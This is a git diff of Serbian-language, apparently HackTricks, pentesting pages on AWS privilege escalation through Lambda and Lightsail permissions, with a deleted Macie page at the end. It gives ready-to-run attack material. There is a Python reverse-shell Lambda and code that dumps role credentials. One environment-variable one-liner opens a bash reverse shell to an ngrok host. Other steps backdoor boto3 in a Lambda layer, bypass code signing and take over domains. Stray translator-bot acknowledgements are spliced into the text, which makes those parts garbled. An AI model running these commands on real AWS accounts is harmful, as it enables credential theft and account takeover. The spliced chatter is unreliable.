b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md @@ -1,22 +1,22 @@ # AWS - Lambda Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## lambda Više informacija o lambda u: {{#ref}} -../aws-services/aws-lambda-enum.md +../../aws-services/aws-lambda-enum.md {{#endref}} ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) -Korisnici sa **`iam:PassRole`, `lambda:CreateFunction` i `lambda:InvokeFunction`** dozvolama mogu eskalirati svoje privilegije.\ -Mogu **kreirati novu Lambda funkciju i dodeliti joj postojeću IAM ulogu**, čime funkciji dodeljuju dozvole povezane sa tom ulogom. Korisnik potom može **napisati i otpremiti kod u ovu Lambda funkciju (na primer sa rev shell-om)**.\ -Kada je funkcija postavljena, korisnik može **pokrenuti njeno izvršavanje** i izvršiti željene akcije pozivanjem Lambda funkcije preko AWS API-ja. Ovaj pristup omogućava korisniku da indirektno izvršava zadatke preko Lambda funkcije, radeći sa nivoom pristupa koji je dodeljen IAM ulozi povezanoj sa njom.\\ +Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, i `lambda:InvokeFunction`** dozvolama mogu eskalirati svoje privilegije.\ +Mogu **kreirati novu Lambda funkciju i dodeliti joj postojeću IAM ulogu**, čime funkcija dobija dozvole povezane sa tom ulogom. Korisnik potom može **napisati i otpremiti kod u tu Lambda funkciju (npr. sa rev shell-om)**.\\ +Kada je funkcija postavljena, korisnik može **pokrenuti njeno izvršavanje** i željene akcije pozivanjem Lambda funkcije preko AWS API-ja. Ovaj pristup efektivno omogućava korisniku da izvodi zadatke indirektno kroz Lambda funkciju, radeći sa nivoom pristupa koji je dodeljen povezanoj IAM ulozi.\\ -A attacker could abuse this to get a **rev shell and steal the token**: +Napadač može iskoristiti ovo da dobije **rev shell i ukrade token**: ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): @@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt # List roles aws iam list-attached-user-policies --user-name ``` -Takođe možete **zloupotrebiti dozvole lambda uloge** iz same lambda funkcije.\ -Ako bi lambda uloga imala dovoljno dozvola, mogli biste je iskoristiti da sebi dodelite administratorska prava: +Takođe možeš **abuse the lambda role permissions** iz iste lambda function.\ +Ako bi lambda role imao dovoljno dozvola, mogao bi ga iskoristiti da sebi dodeliš administratorska prava: ```python import boto3 def lambda_handler(event, context): @@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` -Takođe je moguće leak lambda's role credentials bez potrebe za eksternom konekcijom. Ovo bi bilo korisno za **Network isolated Lambdas** koje se koriste za interne zadatke. Ako postoje nepoznati security groups koji filtriraju vaše reverse shells, ovaj deo koda će vam omogućiti da direktno leak lambda's role credentials kao izlaz lambda. +Takođe je moguće leak the lambda's role credentials bez potrebe za eksternom konekcijom. Ovo bi bilo korisno za **Network isolated Lambdas** koje se koriste za interne zadatke. Ako postoje nepoznate security groups koje filtriraju vaše reverse shells, this piece of code će vam omogućiti da direktno leak the credentials kao izlaz lambda. ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() @@ -72,34 +72,34 @@ return { aws lambda invoke --function-name output.txt cat output.txt ``` -**Potential Impact:** Direktan privesc na proizvoljnu lambda servisnu ulogu koja je navedena. +**Potencijalni uticaj:** Direktan privesc na proizvoljnu lambda service role koja je navedena. > [!CAUTION] -> Imajte na umu da, iako može izgledati interesantno, **`lambda:InvokeAsync`** sama po sebi **ne dozvoljava** izvršavanje **`aws lambda invoke-async`**, takođe vam treba `lambda:InvokeFunction` +> Imajte na umu da, iako može izgledati zanimljivo, **`lambda:InvokeAsync`** sam po sebi **ne omogućava** izvršavanje **`aws lambda invoke-async`** — takođe vam je potrebna dozvola `lambda:InvokeFunction` ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -Kao u prethodnom scenariju, možete sebi **dodeliti dozvolu `lambda:InvokeFunction`** ako imate dozvolu **`lambda:AddPermission`** +Kao u prethodnom scenariju, možete sebi dodeliti dozvolu **`lambda:InvokeFunction`** ako imate dozvolu **`lambda:AddPermission`** ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` -**Potencijalni uticaj:** Direktan privesc na proizvoljnu lambda servisnu ulogu koja je navedena. +**Potential Impact:** Direktan privesc na proizvoljnu lambda servisnu ulogu koja je navedena. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** dozvolama (i potencijalno `dynamodb:PutItem` i `dynamodb:CreateTable`) mogu indirektno **escalate privileges** čak i bez `lambda:InvokeFunction`.\ -Mogu da kreiraju **Lambda function sa zlonamernim kodom i dodele mu postojeći IAM role**. +Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** dozvolama (i potencijalno `dynamodb:PutItem` i `dynamodb:CreateTable`) mogu indirektno **escalate privileges** čak i bez `lambda:InvokeFunction`.\ +Mogu kreirati **Lambda function sa malicioznim kodom i dodeliti joj postojeću IAM rolu**. -Umesto da direktno pozovu Lambda, korisnik postavi ili iskoristi postojeću DynamoDB tabelu, povezujući je sa Lambda kroz event source mapping. Ova konfiguracija osigurava da se **Lambda function automatski aktivira prilikom unosa nove stavke** u tabelu, bilo akcijom korisnika ili nekog drugog procesa, čime se Lambda function indirektno poziva i izvršava kod sa dozvolama prosleđene IAM role. +Umesto da direktno pozivaju Lambda, korisnik postavi ili iskoristi postojeću DynamoDB tabelu, povezujući je sa Lambda kroz event source mapping. Ova postavka osigurava da se Lambda function automatski okine pri unosu nove stavke u tabelu, bilo akcijom korisnika ili nekog drugog procesa, čime se indirektno poziva Lambda function i izvršava kod sa dozvolama prosleđene IAM role. ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` -Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo **treba da uspostavi event source mapping** za Lambda funkciju. Međutim, ako DynamoDB nije u upotrebi, korisnik mora **da kreira novu tabelu** sa omogućenim streamingom: +Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo **treba da uspostavi event source mapping** za Lambda funkciju. Međutim, ako DynamoDB nije u upotrebi, korisnik mora **kreirati novu tabelu** sa uključenim streamingom: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ @@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` -Sada je moguće **povezati Lambda funkciju sa DynamoDB tabelom** pomoću **kreiranja event source mapping**: +Sada je moguće **connect the Lambda function to the DynamoDB table** pomoću **creating an event source mapping**: ```bash aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ --enabled --starting-position LATEST ``` -Kada je Lambda funkcija povezana sa DynamoDB stream-om, napadač može **indirektno pokrenuti Lambda aktiviranjem DynamoDB stream-a**. Ovo se može postići **ubacivanjem stavke** u DynamoDB tabelu: +Kada je Lambda funkcija povezana sa DynamoDB stream-om, napadač može **indirektno pokrenuti Lambda aktiviranjem DynamoDB stream-a**. Ovo se može postići **umetanjem stavke** u DynamoDB tabelu: ```bash aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} ``` -**Potencijalni uticaj:** Direktan privesc na navedenu lambda servisnu ulogu. +**Mogući uticaj:** Direktan privesc na navedenu lambda servisnu ulogu. ### `lambda:AddPermission` -Attacker sa ovom dozvolom može **dodeliti sebi (ili drugima) bilo koje dozvole** (ovo generiše resource based policies koje dodeljuju pristup resursu): +Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) bilo koje dozvole** (ovo generiše resource based policies koje omogućavaju pristup resursu): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -130,23 +130,23 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` -**Potencijalni uticaj:** Direktni privesc na lambda servisnu ulogu korišćenjem dodeljivanja dozvole za izmenu koda i njegovo pokretanje. +**Potencijalni uticaj:** Direktan privesc na ulogu lambda servisa koji se koristi dodeljivanjem dozvole za izmenu koda i njegovo pokretanje. ### `lambda:AddLayerVersionPermission` -Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) dozvolu `lambda:GetLayerVersion`**. Mogao bi pristupiti layer-u i pretražiti ranjivosti ili osetljive informacije +Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) dozvolu `lambda:GetLayerVersion`**. Može pristupiti layer-u i tražiti ranjivosti ili osetljive informacije ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` -**Potencijalni uticaj:** Mogući pristup osetljivim informacijama. +**Potential Impact:** Mogući pristup osetljivim informacijama. ### `lambda:UpdateFunctionCode` -Korisnici koji imaju **`lambda:UpdateFunctionCode`** dozvolu mogu **izmeniti kod postojeće Lambda funkcije koja je povezana sa IAM ulogom.**\ -Napadač može **izmeniti kod Lambda funkcije kako bi exfiltrate IAM credentials**. +Korisnici koji imaju dozvolu **`lambda:UpdateFunctionCode`** mogu da **izmene kod postojeće Lambda funkcije koja je povezana sa IAM rolom.**\ +Napadač može da **izmeni kod Lambda funkcije da bi exfiltrate the IAM credentials**. -Iako napadač možda nema direktnu mogućnost da pozove funkciju, ako je Lambda funkcija već postojeća i operativna, verovatno će biti pokrenuta kroz postojeće tokove rada ili događaje, čime se indirektno omogućava izvršavanje izmenjenog koda. +Iako napadač možda nema direktnu mogućnost da pozove funkciju, ukoliko je Lambda funkcija već postojeća i operativna, verovatno će biti pokrenuta kroz postojeće tokove rada ili događaje, čime se indirektno omogućava izvršavanje izmenjenog koda. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ @@ -157,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` -**Potencijalni uticaj:** Direct privesc na lambda service role koja se koristi. +**Potential Impact:** Direktan privesc na korišćenu Lambda service role. ### `lambda:UpdateFunctionConfiguration` #### RCE via env variables -Sa ovim dozvolama moguće je dodati varijable okruženja koje će naterati Lambda da izvrši proizvoljan kod. Na primer, u pythonu moguće je zloupotrebiti varijable okruženja `PYTHONWARNING` i `BROWSER` da naterate python proces da izvrši proizvoljne komande: +Sa ovim dozvolama moguće je dodati promenljive okruženja koje će naterati Lambda da izvrši proizvoljan kod. Na primer, u pythonu je moguće zloupotrebiti promenljive okruženja `PYTHONWARNING` i `BROWSER` da python proces izvrši proizvoljne komande: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` -Za druge skriptne jezike postoje druge env variables koje možete koristiti. Za više informacija pogledajte pododeljke skriptnih jezika u: +Za druge skriptne jezike postoje i druge env varijable koje možete koristiti. Za više informacija pogledajte podsekcije skriptnih jezika u: {{#ref}} https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html @@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc #### RCE via Lambda Layers -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) omogućava uključivanje **code** u vaš lamdba function, ali **storing it separately**, tako da function code može ostati mali i **several functions can share code**. +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) omogućava da uključite **code** u vašu lambda funkciju, ali **čuvajući ga odvojeno**, tako da kod funkcije može ostati mali i **više funkcija može deliti code**. -Unutar lambda možete proveriti putanje sa kojih se python code učitava pomoću funkcije kao u sledećem primeru: +Unutar lambda možete proveriti putanje odakle se python code učitava pomoću funkcije kao u nastavku: ```python import json import sys @@ -200,75 +200,75 @@ Ovo su lokacije: Na primer, biblioteka boto3 se učitava iz `/var/runtime/boto3` (4. pozicija). -#### Eksploatacija +#### Exploitation -Moguće je zloupotrebiti dozvolu `lambda:UpdateFunctionConfiguration` da **dodate novi layer** u lambda funkciju. Da biste pokrenuli proizvoljan kod, taj layer mora da sadrži neku **biblioteku koju će lambda importovati.** Ako možete da pročitate kod lambda funkcije, ovo lako možete pronaći; takođe imajte u vidu da je moguće da lambda **već koristi layer** i da biste mogli **preuzeti** taj layer i **dodati svoj kod** u njega. +Moguće je zloupotrebiti dozvolu `lambda:UpdateFunctionConfiguration` da **dodate novi sloj** u lambda funkciju. Da biste izvršili proizvoljan kod, taj sloj mora da sadrži neku **biblioteku koju će lambda importovati.** Ako možete da pročitate kod lambda funkcije, to lako možete otkriti; takođe imajte u vidu da lambda možda **već koristi sloj** i da biste mogli **preuzeti** taj sloj i **dodati svoj kod** u njega. -Na primer, pretpostavimo da lambda koristi biblioteku boto3 — to će kreirati lokalni layer sa poslednjom verzijom biblioteke: +Na primer, pretpostavimo da lambda koristi biblioteku boto3 — to će kreirati lokalni sloj sa najnovijom verzijom biblioteke: ```bash pip3 install -t ./lambda_layer boto3 ``` -Možete otvoriti `./lambda_layer/boto3/__init__.py` i **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example). +Možete otvoriti `./lambda_layer/boto3/__init__.py` i **dodati backdoor u globalni kod** (na primer funkciju za exfiltrate credentials ili za dobijanje reverse shell). -Zatim zip-ujte taj direktorijum `./lambda_layer` i **upload the new lambda layer** na svoj account (ili na account žrtve, ali možda nemate permissions za to).\ -Napomena: potrebno je kreirati python folder i staviti biblioteke tamo da override-ujete /opt/python/boto3. Takođe, layer mora biti **compatible with the python version** koju koristi lambda i, ako ga upload-ujete na svoj account, mora biti u **the same region:** +Zatim, zip-ujte direktorijum `./lambda_layer` i **upload-ujte novi lambda layer** na sopstveni nalog (ili na nalog žrtve, ali možda nemate dozvole za to).\ +Imajte na umu da treba da napravite python folder i smestite biblioteke u njega da biste zamenili /opt/python/boto3. Takođe, layer mora biti **kompatibilan sa python verzijom** koju koristi lambda i, ako ga upload-ujete na svoj nalog, mora biti u **isti region:** ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` -Sada učinite uploadovani lambda layer **dostupnim za bilo koji nalog**: +Sada omogućite da otpremljeni lambda layer bude **pristupačan bilo kojem nalogu**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ --action lambda:GetLayerVersion --principal * ``` -I zakačite lambda layer na ciljnu lambda funkciju: +I prikačite lambda layer na victim lambda function: ```bash aws lambda update-function-configuration \ --function-name \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` -Sledeći korak bi bio da ili sami **pozovemo funkciju** ako možemo ili da sačekamo dok **ne bude pozvana** normalnim putem — što je bezbednija metoda. +Sledeći korak bi bio da ili **pozovemo funkciju** sami ako možemo, ili da sačekamo dok se **ne pozove** normalnim putem — što je bezbednija metoda. -A **diskretniji način da se iskoristi ova ranjivost** može se naći u: +A **prikriveniji način da se iskoristi ova ranjivost** može se naći u: {{#ref}} -../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} -**Potencijalni uticaj:** Direktan privesc na korišćenu lambda service role. +**Potencijalni uticaj:** Direktan privesc na lambda service role koja se koristi. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Možda sa tim permisijama možeš da kreiraš funkciju i izvršiš je pozivom URL-a... ali nisam uspeo da nađem način da to testiram, pa javi ako ti uspeš! +Možda sa tim permisijama možete da kreirate funkciju i izvršite je pozivom URL-a... ali nisam uspeo da nađem način da to testiram, pa mi javite ako vi uspete! ### Lambda MitM -Neke lambda funkcije će **primati osetljive informacije od korisnika u parametrima.** Ako dobiješ RCE u jednoj od njih, možeš exfiltrate informacije koje drugi korisnici šalju toj funkciji, pogledaj u: +Neke lambde će **primati osetljive informacije od korisnika u parametrima.** Ako dobijete RCE u jednoj od njih, možete exfiltrate informacije koje joj drugi korisnici šalju; pogledajte: {{#ref}} -../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -## References +## Reference - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} -### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Zaobilaženje Lambda Code Signing +### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing -Ako Lambda funkcija zahteva code signing, napadač koji može da ili ukloni Code Signing Config (CSC) ili ga spusti na `WARN` može da deploy-uje unsigned code u funkciju. Ovo zaobilazi zaštitu integriteta bez menjanja IAM role funkcije ili triggera. +Ako Lambda funkcija zahteva code signing, napadač koji može ili da ukloni Code Signing Config (CSC) ili da ga spusti na WARN može da deploy-uje unsigned code u funkciju. Ovo zaobilazi zaštite integriteta bez izmene IAM role funkcije ili triggera. Permissions (one of): - Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` - Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` -Napomene: +Notes: - For Path B, you don't need an AWS Signer profile if the CSC policy is set to `WARN` (unsigned artifacts allowed). Steps (REGION=us-east-1, TARGET_FN=): @@ -282,7 +282,7 @@ return {"pwn": True, "env": list(os.environ)[:6]} PY zip backdoor.zip handler.py ``` -Put A) Uklonite CSC, zatim ažurirajte kod: +Put A) Ukloni CSC, zatim ažuriraj kod: ```bash aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0 if [ "$HAS_CSC" -eq 1 ]; then @@ -292,7 +292,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba # If the handler name changed, also run: aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION ``` -Put B) Smanjiti na Warn i ažurirati code (ako brisanje nije dozvoljeno): +Put B) Smanjiti na Warn i ažurirati kod (ako brisanje nije dozvoljeno): ```bash CSC_ARN=$(aws lambda create-code-signing-config \ --description ht-warn-csc \ @@ -303,12 +303,18 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba # If the handler name changed, also run: aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION ``` -Potvrđujem: prevešću relevantan engleski tekst na srpski, zadržavajući tačno istu Markdown/HTML sintaksu i ne prevodeći kod, nazive tehnika, cloud/platforme, linkove, putanje i oznake (npr. {#tabs}, {#ref} itd.). Neću dodavati ništa osim prevedenog sadržaja i sačuvaću ispravan Unicode. +Potvrđujem — razumem uputstva. Pri prevođenju sadržaja iz src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md uradiću ovo: + +- Prevešću relevantni engleski tekst na srpski jasno i sažeto. +- Neću prevoditi kod, nazive hacking tehnika, common hacking reči, cloud/SaaS nazive (npr. Workspace, aws, gcp...), reč "leak", pentesting, linkove, putanje, markdown ili HTML tagove. +- Neću menjati niti prevoditi specifične tagove/refs/paths kao u uputstvu ({#tabs}, {#ref}, {#include} itd.). +- Sačuvaću tačnu markdown/HTML sintaksu i strukturu fajla. +- Neću dodavati dodatni sadržaj koji nije deo prevedenog markdown/HTML fajla. ```bash aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null cat /tmp/out.json ``` -Potencijalni uticaj: Mogućnost ubacivanja i pokretanja proizvoljnog unsigned koda u funkciju koja je trebalo da zahteva signed deployments, što može dovesti do izvršenja koda sa privilegijama role funkcije. +Potencijalni uticaj: Mogućnost postavljanja i izvršavanja proizvoljnog nepotpisanog koda u funkciji koja je trebalo da primenjuje signed deployments, što može dovesti do izvršavanja koda sa ovlašćenjima role funkcije. Čišćenje: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md similarity index 52% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md index afc773722..a101ca3e0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md @@ -1,25 +1,25 @@ # AWS - Lightsail Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Lightsail -Za više informacija o Lightsail, pogledajte: +Za više informacija o Lightsail pogledajte: {{#ref}} -../aws-services/aws-lightsail-enum.md +../../aws-services/aws-lightsail-enum.md {{#endref}} > [!WARNING] -> Važno je napomenuti da Lightsail **ne koristi IAM uloge koje pripadaju korisniku** već AWS upravljanom nalogu, tako da ne možete zloupotrebiti ovu uslugu za privesc. Međutim, **osetljivi podaci** kao što su kod, API ključevi i informacije o bazi podataka mogli bi se pronaći u ovoj usluzi. +> Važno je napomenuti da Lightsail **ne koristi IAM roles belonging to the user** već pripada AWS managed account, tako da ne možete zloupotrebiti ovu uslugu za privesc. Međutim, **osetljivi podaci** kao što su code, API keys i database info mogu se pronaći u ovoj usluzi. ### `lightsail:DownloadDefaultKeyPair` -Ova dozvola će vam omogućiti da dobijete SSH ključeve za pristup instancama: +Ovo dopuštenje će vam omogućiti da preuzmete SSH keys za pristup instancama: ``` aws lightsail download-default-key-pair ``` -**Potencijalni uticaj:** Pronaći osetljive informacije unutar instanci. +**Potencijalni uticaj:** Pristup osetljivim informacijama unutar instanci. ### `lightsail:GetInstanceAccessDetails` @@ -27,23 +27,23 @@ Ova dozvola će vam omogućiti da generišete SSH ključeve za pristup instancam ```bash aws lightsail get-instance-access-details --instance-name ``` -**Potencijalni uticaj:** Pronaći osetljive informacije unutar instanci. +**Potencijalni uticaj:** Pronađite osetljive informacije unutar instanci. ### `lightsail:CreateBucketAccessKey` -Ova dozvola će vam omogućiti da dobijete ključ za pristup kanti: +Ovo dopuštenje će vam omogućiti da dobijete ključ za pristup bucketu: ```bash aws lightsail create-bucket-access-key --bucket-name ``` -**Potencijalni uticaj:** Pronaći osetljive informacije unutar kante. +**Potential Impact:** Pronađite osetljive informacije unutar bucket-a. ### `lightsail:GetRelationalDatabaseMasterUserPassword` -Ova dozvola će vam omogućiti da dobijete akreditive za pristup bazi podataka: +Ova dozvola vam omogućava da dobijete kredencijale za pristup bazi podataka: ```bash aws lightsail get-relational-database-master-user-password --relational-database-name ``` -**Potencijalni uticaj:** Pronaći osetljive informacije unutar baze podataka. +**Potencijalni uticaj:** Pronaći osetljive informacije u bazi podataka. ### `lightsail:UpdateRelationalDatabase` @@ -51,15 +51,15 @@ Ova dozvola će vam omogućiti da promenite lozinku za pristup bazi podataka: ```bash aws lightsail update-relational-database --relational-database-name --master-user-password ``` -Ako baza podataka nije javna, možete je takođe učiniti javnom sa ovim dozvolama sa +Ako baza podataka nije javna, možete je takođe učiniti javnom korišćenjem ovih dozvola: ```bash aws lightsail update-relational-database --relational-database-name --publicly-accessible ``` -**Potencijalni uticaj:** Pronaći osetljive informacije unutar baze podataka. +**Potential Impact:** Pronaći osetljive informacije u bazi podataka. ### `lightsail:OpenInstancePublicPorts` -Ova dozvola omogućava otvaranje portova za Internet. +Ovo dopuštenje omogućava otvaranje portova prema Internetu ```bash aws lightsail open-instance-public-ports \ --instance-name MEAN-2 \ @@ -69,7 +69,7 @@ aws lightsail open-instance-public-ports \ ### `lightsail:PutInstancePublicPorts` -Ova dozvola omogućava otvaranje portova za Internet. Imajte na umu da će poziv zatvoriti bilo koji port koji nije naveden. +Ova dozvola omogućava otvaranje portova ka Internetu. Imajte na umu da će poziv zatvoriti svaki otvoreni port koji nije naveden. ```bash aws lightsail put-instance-public-ports \ --instance-name MEAN-2 \ @@ -79,18 +79,18 @@ aws lightsail put-instance-public-ports \ ### `lightsail:SetResourceAccessForBucket` -Ova dozvola omogućava pristup instancama ka bucket-u bez dodatnih kredencijala. +Ova dozvola omogućava instancama pristup bucket-u bez dodatnih kredencijala. ```bash aws set-resource-access-for-bucket \ --resource-name \ --bucket-name \ --access allow ``` -**Potencijalni uticaj:** Potencijalni novi pristup kanticama sa osetljivim informacijama. +**Potencijalni uticaj:** Mogući novi pristup buckets-ima sa osetljivim informacijama. ### `lightsail:UpdateBucket` -Sa ovom dozvolom, napadač bi mogao da dodeli svoj AWS nalog pristup za čitanje kanticama ili čak da učini kante javnim za sve: +Sa ovom dozvolom napadač bi mogao svom AWS nalogu dodeliti pristup za čitanje nad buckets-ima ili čak učiniti buckets javnim za sve: ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -101,36 +101,36 @@ aws update-bucket --bucket-name --access-rules getObject=public,allowPub # Bucket private but single objects can be public aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true ``` -**Potencijalni uticaj:** Potencijalni novi pristup kanticama sa osetljivim informacijama. +**Potential Impact:** Mogući novi pristup bucket-ovima koji sadrže osetljive informacije. ### `lightsail:UpdateContainerService` -Sa ovim dozvolama, napadač bi mogao da omogući pristup privatnim ECR-ima iz servisa kontejnera. +Sa ovom dozvolom napadač bi mogao da dodeli pristup privatnim ECR-ovima putem servisa za kontejnere. ```bash aws update-container-service \ --service-name \ --private-registry-access ecrImagePullerRole={isActive=boolean} ``` -**Potencijalni uticaj:** Dobijanje osetljivih informacija iz privatnog ECR +**Potencijalni uticaj:** Dobiti osetljive informacije iz privatnog ECR ### `lightsail:CreateDomainEntry` -Napadač sa ovom dozvolom mogao bi da kreira poddomen i usmeri ga na svoju IP adresu (preuzimanje poddomena), ili da napravi SPF zapis koji mu omogućava da lažira e-poštu sa domena, ili čak da postavi glavni domen na svoju IP adresu. +Napadač koji ima ovo dopuštenje može kreirati poddomen i usmeriti ga na svoju IP adresu (subdomain takeover), ili sastaviti SPF zapis koji mu omogućava da spoof-uje mejlove sa domena, ili čak postavi glavni domen na svoju IP adresu. ```bash aws lightsail create-domain-entry \ --domain-name example.com \ --domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` -**Potencijalni uticaj:** Preuzimanje domena +**Mogući uticaj:** Preuzimanje domena ### `lightsail:UpdateDomainEntry` -Napadač sa ovom dozvolom mogao bi da kreira poddomen i usmeri ga na svoju IP adresu (preuzimanje poddomena), ili da napravi SPF zapis koji mu omogućava da lažira emailove sa domena, ili čak da postavi glavni domen na svoju IP adresu. +Napadač sa ovom dozvolom može kreirati subdomain i usmeriti ga na sopstvenu IP adresu (subdomain takeover), ili napraviti SPF record koji mu omogućava da lažira emailove sa domena, ili čak postaviti glavni domen na sopstvenu IP adresu. ```bash aws lightsail update-domain-entry \ --domain-name example.com \ --domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` -**Potencijalni uticaj:** Preuzimanje domena +**Potencijalni uticaj:** Takeover a domain -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md deleted file mode 100644 index ffbd5b07d..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md +++ /dev/null @@ -1,38 +0,0 @@ -# AWS - Macie Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Macie - -Za više informacija o Macie pogledajte: - -{{#ref}} -../aws-services/aws-macie-enum.md -{{#endref}} - -### Amazon Macie - Zaobilaženje `Reveal Sample` integriteta - -AWS Macie je bezbednosna usluga koja automatski otkriva osetljive podatke unutar AWS okruženja, kao što su akreditivi, lične identifikacione informacije (PII) i drugi poverljivi podaci. Kada Macie identifikuje osetljiv akreditiv, kao što je AWS tajni ključ smešten u S3 kanti, generiše nalaz koji omogućava vlasniku da pogleda "uzorak" otkrivenih podataka. Obično, kada se osetljivi fajl ukloni iz S3 kante, očekuje se da tajna više ne može biti povučena. - -Međutim, identifikovano je **zaobilaženje** gde napadač sa dovoljnim dozvolama može **ponovo da otpremi fajl sa istim imenom** ali koji sadrži različite, neosetljive lažne podatke. To uzrokuje da Macie poveže novo otpremljeni fajl sa originalnim nalazom, omogućavajući 